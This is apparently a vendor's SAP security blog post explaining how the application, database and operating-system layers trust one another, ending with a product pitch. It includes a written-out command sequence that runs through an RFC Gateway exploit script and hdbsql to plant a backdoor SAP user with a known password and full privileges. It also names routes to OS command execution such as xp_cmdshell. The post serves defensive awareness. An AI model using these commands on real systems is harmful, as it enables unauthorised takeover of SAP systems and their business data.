Don’t just focus on the Application layer, but also on Database and Operating System
This blog is about how to get full access to an SAP system and all business data it contains. We will not discuss HOW to do that exactly, as there are simply too many ways to do so (See our blog posts on SAP exploitation). Instead, we will focus on how the SAP application layer, Operating system and Database interact with each other and how you just need to have access to ONE of them to have access to ALL of them.
Let’s start with some background information on the architecture of SAP systems. An SAP system can be installed as shown in the picture to the right.
In its most simple form, it needs to have at least a Database for data storage, an SAP application server for processing and an Operating system to run the components on. These components need to interact with each other to have a functioning SAP system. Data being processed in the SAP application (S/4HANA in this example) needs to be stored in the Database at some point and both the Database and SAP Application server need to have an Operating System to run.
For these components to work together smoothly there is always a level of trust involved. Think for example of the scenario where a user creates a purchase order in the SAP application and saves that. When this action is done by the end-user, the purchase order data is saved directly in the SAP Database, but without asking for credentials of the database. For the end-user, this transaction is transparent. Yet, the SAP Application server needs to have access to the SAP Database Schema to save the purchase order data. To facilitate this, there is a trust mechanism implemented that allowed the SAP application server to directly save the data in the Database. How this is implemented differs for the different types of databases and Operating systems, but the principle is the same and present in all supported Databases and Operating systems that SAP supports.
This same principle exists not only between the SAP application layer and the database but for all 3 main components of an SAP system:
Meaning if you gain control over ONE of the above components or related users, you can control over ALL three of them and have full access to the SAP system and all data it contains. This makes it crucial to not just protect one of them, but to protect them all!
Some examples to demonstrate the above:
- Assume you gained access to SAP with an SAP user that has SAP_ALL privileges. Then you can execute Operating system commands via several options, e.g. ABAP report rsbdcos0:
Database access can be achieved via for example the SQL editor in transaction DBACOCKPIT:
- Assume you gained access to the Operating System in the context of the <sid>adm user. This is the Operating System user under which the SAP system operates. Via this user, there is an implicit trust relation with the Database and you can do updates in the tables in the SAP schema. The example below creates an SAP user directly in the HANA Database from the OS. The below example is using the RFC Gateway exploit to do this, but the same principle works directly from the OS:
#ADD THE “CREATE A USER” PART TO THE REMOTE SQL SCRIPT (This script is placed by default in the WORKdir)
..\bin\perl test.pl “echo INSERT INTO USR02 (MANDT,BNAME,USTYP,CODVN) VALUES (‘%cli%’,’GO_IN’,’S’,’G’) > a.sql”
..\bin\perl test.pl “echo ; >> a.sql”
#ADD THE “UPDATE THE BCODE\PASSCODE” PART TO THE REMOTE SQL SCRIPT
..\bin\perl test.pl “echo UPDATE USR02 set BCODE=’C76AB3A59599FE3A’ where MANDT=’%cli%’ and BNAME=’GO_IN’ >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”
..\bin\perl test.pl “echo UPDATE USR02 set PASSCODE=’CF017A9A4F1F53ED69CEDC773072B1B24A063A63′ where MANDT=’%cli%’ and BNAME=’GO_IN’ >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”
#ADD THE “GIVE IT REFUSER DDIC (Which means SAP_ALL)” PART TO THE REMOTE SQL SCRIPT
..\bin\perl test.pl “echo INSERT INTO USREFUS (MANDT,BNAME,REFUSER) VALUES (‘%cli%’,’GO_IN’,’DDIC’) >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”
#EXECUTE THE SCRIPT
..\bin\perl test.pl “hdbsql -n %dbhost% -i 00 -U DEFAULT -o output.txt -I a.sql”
By executing the above, you can login with the user GO_IN and the preset password (via the hash) of “andinyougo”. The above example is specific for HANA, but every database has its own way of achieving the same. See Github for more examples.
- Assume you gained access to the Database with permission to the SAP Schema user. Via the example above, you can than create a user in the SAP application and then execute OS commands as mentioned earlier. But there are other means. Some Database systems support direct OS command execution like Microsoft SQL via stored procedure xp_cmdshell. Weird enough, this stored procedure is set to ACTIVE by default in SAP installations running on MSSQL.
As seen by the above example, it is crucial to not only focus on the SAP application layer when securing your SAP systems but also consider the security of your Operating system and Database system. Protect4S does just that.
With our SAP vulnerability management solution, we scan for 2000 vulnerabilities and misconfigurations on all 3 layers. You can try out Protect4S for 1 month for free or request a demo! We are happy to tell you more about it.
For more SAP security-related news, articles, and whitepapers, please follow us on LinkedIn!
